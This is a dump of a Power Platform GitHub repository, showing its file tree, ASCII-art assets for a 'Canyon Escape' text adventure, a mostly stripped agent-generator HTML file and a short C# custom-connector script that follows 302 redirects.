├── Canyon Escape ├── Canyon Escape Code Review.html ├── Canyon Escape Process.html ├── Canyon Escape Review.html ├── Canyon Escape.svg ├── Map.xlsx ├── TextBasedGame_1_0_0_1.zip ├── bodmas.txt ├── canoe.txt ├── canyon escape flow.png ├── compass.txt ├── complete.txt ├── fruit.txt ├── lamp.txt ├── map.txt ├── pilots journal.txt ├── rope.txt └── skull key.txt ├── Copilot └── David Wyatt Blogs.agent ├── Custom Connectors ├── 302 redirect.cs ├── AutoReview_1_0_0_0.zip ├── AutoReview_CustomConnector_1_0_0_1.zip ├── AutoReview_CustomConnector_2_0_0_0_managed.zip └── Regex_CustomerConnector_1_0_0_1.zip ├── Exam Marker ├── Exam Marker.osts ├── ExamMarker_1_0_0_1.zip ├── ms forms questions schema.json └── ms forms responses schema.json ├── Hacking └── Misuse Shared Connection References │ ├── Misuse Connections Hack.postman_collection.json │ └── Power Platform Environment.postman_environment.json ├── Office Scripts ├── Bulk Email Conversion.osts ├── CSV to JSON.osts ├── HTML to JSON.osts ├── Regex.osts ├── Simple Copy.osts ├── Sort Array.osts └── Testing API.osts ├── Power App Artifacts ├── 404AppNotFound.zip ├── 5 Calculators.zip ├── Captcha_1_0_0_4.zip ├── DynamicListSorter_1_0_0_1.zip ├── FlappyApp.zip ├── Flow Builder │ ├── Flow Templates.xlsx │ └── FlowBuilder_1_0_0_2 (1).zip ├── GameOfLife_1_0_0_2.zip ├── Menu_1_0_0_1.zip ├── PlanningPoker_1_0_0_1.zip ├── PollingApp_1_0_0_2.zip ├── PowerPlatformSDD.zip ├── SantaTracker_1_0_0_1.zip ├── Snake_1_0_0_1.zip ├── StackedNotificationToastDemo_1_0_0_1.zip └── Tags_1_0_0_1.zip ├── Power Automate Artifacts ├── Bulk emailer │ ├── Bulk Email Conversion.osts │ ├── BulkEmailerwithOfficeScript_20220314125441.zip │ ├── bluk email example.html │ └── bulk email list example.xlsx ├── Canyon Escape │ ├── Canyon Escape Code Review.html │ ├── Canyon Escape Process.html │ ├── Canyon Escape Review.html │ ├── Canyon Escape.svg │ ├── Map.xlsx │ ├── TextBasedGame_1_0_0_1.zip │ ├── bodmas.txt │ ├── canoe.txt │ ├── canyon escape flow.png │ ├── compass.txt │ ├── complete.txt │ ├── fruit.txt │ ├── lamp.txt │ ├── map.txt │ ├── pilots journal.txt │ ├── rope.txt │ └── skull key.txt ├── ChangeConnections_1_0_0_1.zip ├── Custom Form │ ├── CustomForm_1_0_0_1.zip │ ├── custom form.html │ ├── fancy custom form.html │ ├── simple custom form file.html │ └── simple custom form.html ├── EditZippedFile_1_0_0_1.zip ├── Exam Marker │ ├── Exam Marker.osts │ ├── ExamMarker_1_0_0_1.zip │ ├── ms forms questions schema.json │ └── ms forms responses schema.json ├── ExceptionGenerator_1_0_0_1.zip ├── GPT Flow Documentation │ ├── Classification template.html │ └── Create a task in Planner from Microsoft Forms and post message in Teams.html ├── MissingDependencies_1_0_0_1_managed.zip ├── MoveFlowstoDataverse_1_0_0_1.zip ├── PipeLine_PoC.zip ├── PlatformTools_1_0_0_2.zip ├── ProcessCSV_1_0_0_1_managed.zip ├── ReadHTMLTable_1_0_0_1.zip ├── SuperSwtich_1_0_0_1-1.zip ├── UnprotectExcel_1_0_0_1.zip ├── UpdateSPNSecret_1_0_0_1.zip ├── UpdateSPNSecret_1_0_0_2.zip ├── XML_1_0_0_1.zip ├── ms learn │ ├── MSLearnChecker_1_0_0_1.zip │ ├── Power Platform Training (4).osts │ ├── ms learn collection.json │ └── ms learn transcript.json └── wordle │ ├── PowerWordle_1_0_0_2.zip │ ├── power platform words.txt │ ├── powordle.html │ └── wordle.js ├── Power Platform APIs ├── BAP.postman_collection.json ├── Dataverse.postman_collection.json ├── Flow.postman_collection.json └── Power Platform.postman_collection.json ├── README.md ├── TamperMonkey Scripts ├── Power Automate Bug Fix..user.js └── Trigger Power Automate Test.user.js └── ms learn ├── MSLearnChecker_1_0_0_1.zip ├── Power Platform Training (4).osts ├── ms learn collection.json └── ms learn transcript.json /Canyon Escape/Map.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Canyon Escape/Map.xlsx -------------------------------------------------------------------------------- /Canyon Escape/TextBasedGame_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Canyon Escape/TextBasedGame_1_0_0_1.zip -------------------------------------------------------------------------------- /Canyon Escape/canoe.txt: -------------------------------------------------------------------------------- 1 | .........................................................................................:::.......:............:--:..:::::: 2 | ..................... ..............................................................:::..:.:............::-==-:.:::::---:::: 3 | .............. .......................................:...........::::::::::....:::::.:..:.:--::::.....:-==+===-::.:=====--: 4 | ..... .....................:::........................:---=--:........::::...::::::------::-----::---:--:.:.::.::::--:-..:-= 5 | .............................::......::::.........:...::....::...::...::.......::-=+=-:.........:....:--:.:---::.::.--=-=-:. 6 | .:::...::::-::::::::.::::.........:--:..........:-==-::..:::.-==-:::::.:.::...-=-:....:::-:::::=+=::--=---::-----:.:::::.:-= 7 | .:....::::.:..:-==--:::...:::..:---:......:--=+=--:-====--:::::::::....:--:::-=:::.:-.:-=-:.::.:.::::::..:--==--:=@@@@=:-::: 8 | :...:::....:..-::..:..:::.:.:.:--:......:-:::....:::...::::-:...........:.:.::---:...:..:::.:..::.....:.::::-::.:@@@@@#=++== 9 | -:.::::.:::----.:..:.::--:-:-::----:::-=++=--::-=+-:..::....:--==-..:--:..:-:......-=-:::......::-----::.::.:.-#@@@*@@@-=++- 10 | -.:::-==++===-..:-::.:..::---:-----..:::....:---:.:---===:..::--=+++=-=====---=--::-::.:--==-::::...:::::.=%@@@@@@++%@@.-::: 11 | -:-:.:::.-.:.:.::.:.::....:.:.:::.=+-.:-----::..:...:==+++==--:.......:..::-::::..::::::..::---:-*@@@@@@@@@@@@@@@:@+=@@=:... 12 | -:....:==:::.:+=--..:-=====---:::::--:=+=--=+===**+=--:.:-=--::....::::---:-=-::::::...:+#@@@@@@@@@@@@@@@@@@@%=:@@*-=@@++*** 13 | -:..:-==-:-::--.---:..:-=+==++**=:.::-==---==-:.:.--:.---::....:::::----::..:==+*#%@@@@@@@@@@@@@@@@%*=-:.:..=%@@@-+=#@@--==+ 14 | .:--::-=+-:..:--::=+=-:.:-::..:::--:::...:.:-:...::...:::::::::--------:-+#@@@@@@@@@@@@@@@@%*-.=++=++**+-=#@@@#-+*.@@@+..... 15 | ::::..-:-=-::::::--:::....:-===-..:::::.::=++=----:::-===--==++==+**@@@@@@@@@@@@@@%*++*-.-:--==****+=-=##*=:.=#@+=@@@=:::... 16 | .::..:--:-=====-:...:=*###*+*+=-:.:....:------:....::.........-+%@@@@@@@@@@@*=::-:+*=-*=--:.:-=+=**+-.--:-+##**#*#@@@%-::--- 17 | :-==-::...:-=--=*##%%%#***##*+===========-.....::::::..:=%@@@@@@@@@@@@%#+=-=--=:-+#*-:+++*+-:--:-+##***%@#+--+++*@@@@@=-===+ 18 | ++====-:.::::----::.:-=----===:..:-+*##*+===---+#%@@@@@@@@@@@@@@+:-:-:-===+*=-.:-:--:=--=**=:=*%@@@%#*+====-::..::-*@@-::::: 19 | ::..:...:::::.:-+##*=---=+=:.:.:--==--:..::-+%@@@@@@@@@@@@*.:+***=+=+-==:--++-.-+#%@#-==+*@%*#%%*=------:.......::-%@%...... 20 | .::-+%@@@@@%*-:::=+=-:::--=++======--::=#@@@@@@@@@@@+=:=#@*==*-:--*+=+=.==++=-:-=+++***+#%#=--:::-===-:.....::.:..+@@=------ 21 | ..-%@@@@@#--::-+*##*+==++*+=-=+*#@@@@@@@@@@@@@+----+-.:*=+-.:+-++==##*+..:==+#%%%%@@@#=.::.:---=---:.............:@@+-==+++* 22 | .:#@@*-=%@%##*-::...---::::=%@@@@@@@@@@@#=..::.:.-=-=--=+:*#+-:..-++-=*::=+++*+.-:..::..-++*+=-:............:*@@@@@#:---::.. 23 | :-@@=:--=@@@@+-::.::-#@@@@@@@@@@@@*:=--:---=***%@@@%+:..=--=++###**+-:**+=:.:=:-=--=+**##+:...........:...-*@@@@@@*::....... 24 | *#@@*=----@@@@@@@@@@@@@@@@@@%=--.==*##%@#+=+*#+:.:---=++*@@@*--=+++--:::---+##*%%#*++++-:..............:*@@@@*::-::::...:::: 25 | :+@%--::==.+@@@@@@@@@+::--=++=::=+-:+:::-=-+#*#%@@@%*-=*+-:.--==-:--=*@@@%#*=---:...................-*%@@@%+::-::..::..::... 26 | =@@=##*+==++-.::.::-:.:::..::.:::-:-*####*+=**=-=--::.=:-:--=*+=:::=+*#+++++--:.......:::...... .-+#@@@%+::::.......:::::::: 27 | %@@=:---::=++*+=:.-:.:.....:=-.--::--:.:-:--::..::..--+:-:::::-=+*%@@@*--:....................:+#%%%*=.::::::::::::::::::... 28 | *@++-.::-:.:-=+=-====-==-----==-::..:--=+-+====+++===+=-------:-==-:.:::::::::::::::......:=*#%@%*-...::::...:::::::::::::-- 29 | %@.*=-==-..::.:-=*==+---::-*=+*++****+-==:-++++++===--:.:::....::::--:::..:::::::.....:=*#%%%#*-.....:....:::::::::::::::::: 30 | @@:+=-:---===++-=*--======**:-=+*+++=--=-::-------::::................:::.........:=+*#%%#*-:.:::::::::::::::::::..::::::::: 31 | %@:++****###%#*+==-:-...:=+-.::------==-::::.....................:......:..:..:=+#####*=:..........:.:::::..::...::::::::::: 32 | *@+--=+++**++=---::.::--==-:.:::::::...................................:..:=+*****+-:..::.............:::::................: 33 | :%@-:-=---::::..:::-.:==--:..::............................. .........-=+*##**=:..:..:.........::.......:::................. 34 | =-*#*+=-::-===-:.:-----...........................................:=+***++-:.....................................::::::::... 35 | ..:+#%@%%##*=:-=+*++=-....................................::-=+*****+=:.................................................:::: 36 | :::::=+++=:+##*+:.................:::::::............::-=+++++++==-:........................................................ 37 | .......-+#%#*-.........:::.....................::=+*#*****+=-:........................................:::::::............... 38 | -::..:+%@%+:.........................:...:=+******++==-:.................::...::::::::......................::.............. 39 | :::::+%#=.:::......................:=+**++**+++=-:.:-::::::::................::::::::::--::::::............................. 40 | -====#*:......................:-===+*+++=-::................:...............::....::::::::::::::::....... .................. 41 | --:::==........ .........:-====++++-..:......:..................................::...:::::::::::::::::...................... 42 | ::-:-=+:..............:-==+===-.........................................................:::::............................... 43 | :::::=*=:..........:=+++=-:..................... ........................................................................... 44 | ..::::=*+-........-++=::..........................................:::....................................................... 45 | ::::::.-=+=:.....:+=.........:......... .................................................................:........... ...... 46 | .........-==-::::-=:..........:.........................::............................ .................::::................ 47 | ..........:=====--:......................::..............:....::........................................................ .. -------------------------------------------------------------------------------- /Canyon Escape/canyon escape flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Canyon Escape/canyon escape flow.png -------------------------------------------------------------------------------- /Canyon Escape/compass.txt: -------------------------------------------------------------------------------- 1 | 2 | __ ____ ____ __ __ ___ ____ ___ _____ __ ____ ____ ___ 3 | / ] / || \ | | | / \ | \ / _] / ___/ / ] / || \ / _] 4 | / / | o || _ || | || || _ | / [_ ( \_ / / | o || o ) / [_ 5 | / / | || | || ~ || O || | | | _] \__ | / / | || _/ | _] 6 | / \_ | _ || | ||___, || || | | | [_ / \ |/ \_ | _ || | | [_ 7 | \ || | || | || || || | | | | \ |\ || | || | | | 8 | \____||__|__||__|__||____/ \___/ |__|__| |_____| \___| \____||__|__||__| |_____| 9 | 10 | |<><><><><><><><><><><><><><><><><><><><><><><>| 11 | | * | 12 | | /\~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~/\ | 13 | | (o ) . ( o) | 14 | | \/ .` `. \/ | 15 | | /\ .` `. /\ | 16 | | ( .` `. ) | 17 | | ) .` N `. ( | 18 | | ( .` A | `. ) | 19 | | ) .` <\> )|( `. ( | 20 | | ( .` \ | ( `. ) | 21 | | ) .` ) \ | ( `. ( | 22 | | .` ) \| ( `. | 23 | | .` W---)--------O--------(---E `. | 24 | | `. ) |\ ( .` | 25 | | ) `. ) | \ ( .` ( | 26 | | ( `. ) | \ .` ) | 27 | | ) `. )|( <\> .` ( | 28 | | ( `. | .` ) | 29 | | ) `. S .` ( | 30 | | ( `. .` ) | 31 | | \/ `. .` \/ | 32 | | /\ `. .` /\ | 33 | | (o ) `.` ( o) | 34 | | \/~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~\/ | 35 | | -|- LGB| 36 | |<><><><><><><><><><><><><><><><><><><><><><><>| -------------------------------------------------------------------------------- /Canyon Escape/complete.txt: -------------------------------------------------------------------------------- 1 | .''. 2 | .''. . *''* :_\/_: . 3 | :_\/_: _\(/_ .:.*_\/_* : /\ : .'.:.'. 4 | .''.: /\ : /)\ ':'* /\ * : '..'. -=:o:=- 5 | :_\/_:'.:::. | ' *''* * '.\'/.'_\(/_'.':'.' 6 | : /\ : ::::: = *_\/_* -= o =- /)\ ' * 7 | '..' ':::' === * /\ * .'/.\'. ' ._____ 8 | * | *..* : |. |' .---"| 9 | * | _ .--'| || | _| | 10 | * | .-'| __ | | | || | 11 | .-----. | |' | || | | | | | || | 12 | ___' ' /"\ | '-."". '-' '-.' '` |____ 13 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 14 | ~-~-~-~-~-~-~-~-~-~ /| 15 | ) ~-~-~-~-~-~-~-~ /|~ /_|\ 16 | _-H-__ -~-~-~-~-~-~ /_|\ -~======-~ 17 | ~-\XXXXXXXXXX/~ ~-~-~-~ /__|_\ ~-~-~-~ 18 | ~-~-~-~-~-~ ~-~~-~-~-~-~ ======== ~-~-~-~ -------------------------------------------------------------------------------- /Canyon Escape/fruit.txt: -------------------------------------------------------------------------------- 1 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀ 2 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠉⠹⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠅⠀⠀⡃⠀⠀⠀⠀⠀⠀⠀⠀⠀ 3 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⡀⠀⠀⠉⣻⣷⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀ 4 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣧⣀⣠⡾⠋⠀⠈⠛⠿⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀ 5 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡟⠉⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⣄⠀⠀⠈⠉⡳⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 6 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣶⣶⣄⠀⠀⠀⠀⣿⠇⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠙⢷⣆⡀⠀⠀⠀⠀⠀⠀⠀⠱⡀⠀⠀⢀⡀⠴⠀⠀⠀⠀⠀⠀⠀⠀ 7 | ⠀⠀⠀⠀⠀⢀⣤⣶⡿⠿⠿⠿⣷⣦⣤⣀⡀⣰⣿⠋⠀⠙⣿⡇⠀⠀⠀⣿⠀⠀⠀⠀⠷⡀⠀⠀⠀⠳⣄⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 8 | ⠀⠀⠀⢀⣴⡿⠛⠁⠀⠀⠀⠀⠀⠈⠉⠛⢿⣿⠋⠀⠀⣴⣿⠇⠀⠀⠀⣿⡆⠀⠀⠀⠀⠹⡄⠀⠀⠀⠈⠳⣄⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 9 | ⠀⠀⢠⣾⡟⠁⢀⡴⠂⠀⠀⠀⠀⠀⠀⠀⠈⢷⣄⣀⣴⣿⣯⡀⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠘⢦⡀⠀⠀⠀⠈⠳⣄⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 10 | ⠀⢀⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠁⠉⠣⡀⠙⠻⣷⣄⠀⢸⣿⠀⠀⠀⠀⠀⠀⠈⢷⡄⠀⠀⠀⠀⢘⣿⡀⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 11 | ⠀⣾⣿⠷⢤⣤⣤⣤⣤⡴⣶⠀⠀⠀⠀⢀⡾⠃⠀⠀⠀⠙⣆⠀⠈⠻⣧⡀⢿⣆⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀⠀⠀⡺⣿⡇⠐⢄⠀⠀⠉⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 12 | ⢸⣿⡇⠀⣠⠟⣀⠀⠀⠀⢸⣆⠀⠀⠀⡾⠁⠀⠀⠀⠀⠀⠘⣇⠀⠀⢻⣧⠘⣿⡆⠀⠀⠀⠀⠀⠀⣤⣄⠀⠀⢀⣵⠃⠀⠀⠀⠑⢄⠀⠀⠘⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 13 | ⢸⣿⠀⠀⢿⣀⣼⣧⣄⠀⠀⢿⣄⠀⠀⠁⠀⣀⣶⡀⠀⠀⠀⢸⡆⠀⢸⣿⠀⠹⣿⡄⠀⠀⠀⠀⠘⣿⡿⠁⠰⠛⠁⠀⠀⠀⠀⠀⠀⠙⢦⡀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀ 14 | ⢸⣿⠀⢰⡟⠻⣿⣿⣿⠀⠀⠀⠙⠷⠶⠶⠿⠋⠙⣧⡀⠀⠀⠈⡇⠀⣸⡿⠀⠀⠹⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠙⢦⡀⠀⠙⢿⣆⡀⠀⠀⠀⠀⠀⠀ 15 | ⢸⣿⠀⠈⠛⠒⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢷⣄⠀⠀⠃⣸⣿⠇⠀⠀⠀⠙⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠦⣄⠀⠀⠀⠀⠀⠀⠙⢦⠀⠀⠙⢷⣄⠀⠀⠀⠀⠀ 16 | ⢸⣿⡇⠀⠀⠀⠀⠀⠀⠰⣶⣤⣀⡀⢠⣾⣿⣶⠀⠀⠀⠻⣦⣄⢠⣿⠋⠀⠀⠀⠀⠀⠈⢿⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⠀⠀⠀ 17 | ⠀⢿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠉⠉⠀⠈⣿⠿⣿⠀⠀⠀⠀⣰⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⡀ 18 | ⠀⠈⣿⣷⡄⠀⠀⠀⠀⠀⠀⢀⣠⠀⢀⠻⠦⠾⠀⠀⣠⣾⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡿⠛⣷ 19 | ⠀⠀⠈⢻⣿⣦⡀⠀⠀⢰⡟⠉⢿⣤⣼⠀⠀⣠⣴⣾⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠻⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠇⣠⣿ 20 | ⠀⠀⠀⠀⠈⠿⣿⣶⣦⣌⣣⣴⣿⣤⣿⣾⣿⡿⠟⠉⠀⠀⠀⠀⠙⠲⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⣷⣦⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣶⣿⠿⠟⠃ 21 | ⠀⠀⠀⠐⠶⠄⣀⣉⣛⣛⠛⠛⠛⠛⠋⠉⠀⠀⠀⠀⠀⢀⣀⣀⣠⠴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⠲⠦⠤⠄⠀⠀⠈⠉⠛⠛⠿⠿⠿⠿⠿⠿⠿⠿⠛⠛⠉⠀⠀⠀⠀⠀ 22 | ⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠛⠒⠒⠛⠛⠛⠋⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 23 | 24 | -------------------------------------------------------------------------------- /Canyon Escape/lamp.txt: -------------------------------------------------------------------------------- 1 | ___!___ 2 | / | \ 3 | / | \ 4 | / | \ 5 | /______|______\ 6 | \ )|( / 7 | \ ( | ) / 8 | \ =|= / 9 | \__|__/ 10 | ,,, 11 | ,;;;;;, 12 | '-===;;( );;===-' 13 | `<>o<>' 14 | //"\\ 15 | |/| |\| 16 | | | 17 | | | 18 | | | 19 | | | 20 | lc| -------------------------------------------------------------------------------- /Canyon Escape/map.txt: -------------------------------------------------------------------------------- 1 | x\ \ \ * \ \ \ \ x 2 | x| | | ? | d | ? x 3 | x x 4 | x| | ? | x 5 | x| ? d | x 6 | x? --------? ----x 7 | x| ? | | | ? x 8 | x d ? | ? ? x 9 | x| | | ? ? x 10 | x* \ \ \ \ \ \ \ x -------------------------------------------------------------------------------- /Canyon Escape/pilots journal.txt: -------------------------------------------------------------------------------- 1 | 4+ 5 × 32 – 2 -------------------------------------------------------------------------------- /Canyon Escape/rope.txt: -------------------------------------------------------------------------------- 1 | \\// 2 | // 3 | //\\ 4 | \\// 5 | // 6 | //\\ 7 | \\// 8 | // 9 | //\\ 10 | \\// 11 | // 12 | //\\ 13 | \\// 14 | // 15 | //\\ 16 | \\// 17 | // 18 | //\\ 19 | \\// 20 | // 21 | //\\ 22 | \\// 23 | // 24 | //\\ 25 | \\// 26 | // 27 | //\\ 28 | \\// 29 | // 30 | //\\ 31 | \\// 32 | // 33 | //\\ 34 | \\// 35 | // 36 | //\\ 37 | THE ROPE 38 | -------------------------------------------------------------------------------- /Canyon Escape/skull key.txt: -------------------------------------------------------------------------------- 1 | ....... ..... ....... ....... ...... ...... 2 | ....... .... ....... ..... ....... ..... 3 | .... ...... ...... .. 4 | ..... .... .. ..... 5 | ...... ...... ...:-===-. .... 6 | ...... .. ...... .=@@@@@@@@@@@@#:... 7 | ...... ...... ...... ....:#@@@@@@@@@@@@@@@@@=. ... 8 | ...... ....... ....... .....+@@@@@@@@@@@@@@@@@@@@@+. ..... 9 | ....... ...... ...... .....+@@@@@@@@@@@@@@@@@@@@@@@%-. ....... 10 | ..... ...... ...... .......-@@@@@@@@@@@@@@@@@@@@@@@@@@*...... 11 | .. ....... .... ....::=%@@@%@@@@@@@@@@@@@@@@@@@@@@@@#... 12 | ....... ....-%@@@@+:. .:#@@@@@@@@@@@@@@@@@@@@@@+. 13 | . .... ...:%@@@@- .=@@@@@@@@@@@@@@@@@@@@@%: 14 | . ...... .*@@@@: ....-@@@@@@@@@@@@@@@@@@@@@- ... 15 | .... ...... .=@@@%: ......:@@@@@@@@@@@@@@@@@@@@@- .... 16 | ...... ...... ..... #@@@@#-....+@@@@@@@@@@@@@@@@@@@@@%: ...... 17 | ...... ...... ...... *@@@@@@@@@@@@@@@+.:*@@@@@@@@@@@@@@+ ...... 18 | ....... ...... ..... .*@@@@@@@@%#*@@@#: ...:%@@@@@@@@@@*. ...... 19 | ...... ...... ....... .#@@@@@*:. =@@+ ......+@@@@@@@@+ ....... 20 | ....... .... ...... .%@@@@%=.. .#@@#...... :@@@@@@*:....... 21 | ...... ...... .#@@@@@%:.=@@@@*... ..#@@@*: .... 22 | ... ... .... .:#@@@@@@@@@@@@@@@@#---+@@%: 23 | ...... .....*@@@@@@@@@@@@@@@@@@@@@@@@@: ... 24 | ...... .....+@@@@@@@@--#@@@@@@=::#@@@@@+...... 25 | ....... ..... .....=@@@@@@@@+.....:+=. .:+*=....... . 26 | ...... ....... ......-%@@@@@@@*. ...... ....... ..... 27 | ...... ..... .....:#@@@@@@@*: ....... ...... ....... 28 | ..... ...... .....#@@@@@@@%: ..... ....... ...... 29 | .. ...... ....*@@@@@@@%- ....... ..... ...... 30 | ...... .=@@@@@@@@=. ...... .... ....... 31 | .. .... .=@@@@@@@@+. ..... ....... 32 | ... .....:%@@@@@@@*. .. ..... .... 33 | . ... ......:#@@@@@@@#: ..... .. 34 | ..... .....*@@@@@@@%-..... ....... .... 35 | ....... ......+@@@@@@@@-. ..... ....... ..... ..... 36 | ..... .....=@@@@@@@@+........ ....... ....... ....... 37 | ....... .....-%@@@@@@@*. ...... ....... ....... ....... 38 | ...... ...:#@@@@@@@%: ....... ..... ....... ........ 39 | ...... .#@@@@@@@@@@@-.... .. ....... .... 40 | ... ... ..+@@@@@@@@@@@@@@%-. ...... 41 | .....=@@@@@@@@@@@@@@@@@@#: .... .... 42 | ......=@@@@@@@@@@@@@@@@@@@@@@*. ..... .... 43 | .:=. .....:%@@@@@@@@@@@@@@@@@@@@@@@@*. ....... .... ....... 44 | .:-. .....:#@@@@@@@@@@@@@@+. .*@@@@@@=........ ...... ...... .... 45 | .:-. .....*@@@@@@@@@@@@@@%.. :*@@+........ ....... ....... ....... 46 | .:-. .....+@@@@@@@@@@@@@@@@@+. ........... ....... ...... ....... 47 | .:-. ...:%@@@@@@@+.#@@@@@@@@@%-. ..... ...... ....... ........ 48 | .:-. -@@@@@@*. ..:#@@@@@@@@@#. .. ....... ..... ....... 49 | .:-. .-#@@*: ....-%@@@@@@@-. ...... ....... 50 | ..-. .-@@@@=..... .... ..... 51 | .:-. .-=........ ..... . 52 | ..-. .... ....... .... ....... ... 53 | .:-. ...... ...... ...... ...... ..... .... 54 | ..-. ...... ........ ...... ...... ....... ....... 55 | .. ...... ....... ....... ....... ...... ...... 56 | -------------------------------------------------------------------------------- /Copilot/David Wyatt Blogs.agent: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Agent Generator 7 | 42 | 43 | 44 |

Agent Generator

45 |
46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 |
55 | 108 | 109 | -------------------------------------------------------------------------------- /Custom Connectors/302 redirect.cs: -------------------------------------------------------------------------------- 1 | public class Script : ScriptBase 2 | { 3 | public override async Task ExecuteAsync() 4 | 5 | { 6 | HttpResponseMessage response = await this.Context.SendAsync(this.Context.Request, this.CancellationToken).ConfigureAwait(false); 7 | if (response.StatusCode == HttpStatusCode.Found) 8 | { 9 | if (response.Headers.Location != null) 10 | { 11 | var redirectUrl = response.Headers.Location.ToString(); 12 | var redirectRequest = new HttpRequestMessage(HttpMethod.Get, redirectUrl); 13 | response = await this.Context.SendAsync(redirectRequest, this.CancellationToken).ConfigureAwait(true); 14 | } 15 | else 16 | { 17 | // If the Location header is not present, return an error response 18 | response = new HttpResponseMessage(HttpStatusCode.BadRequest); 19 | response.Content = CreateJsonContent("Location header missing in the redirect response."); 20 | } 21 | } 22 | else if (response.IsSuccessStatusCode) 23 | { 24 | 25 | var responseString = await response.Content.ReadAsStringAsync().ConfigureAwait(false); 26 | var result = JObject.Parse(responseString); 27 | var newResult = new JObject 28 | { 29 | ["wrapped"] = result, 30 | }; 31 | response.Content = CreateJsonContent(newResult.ToString()); 32 | } 33 | return response; 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /Custom Connectors/AutoReview_1_0_0_0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Custom 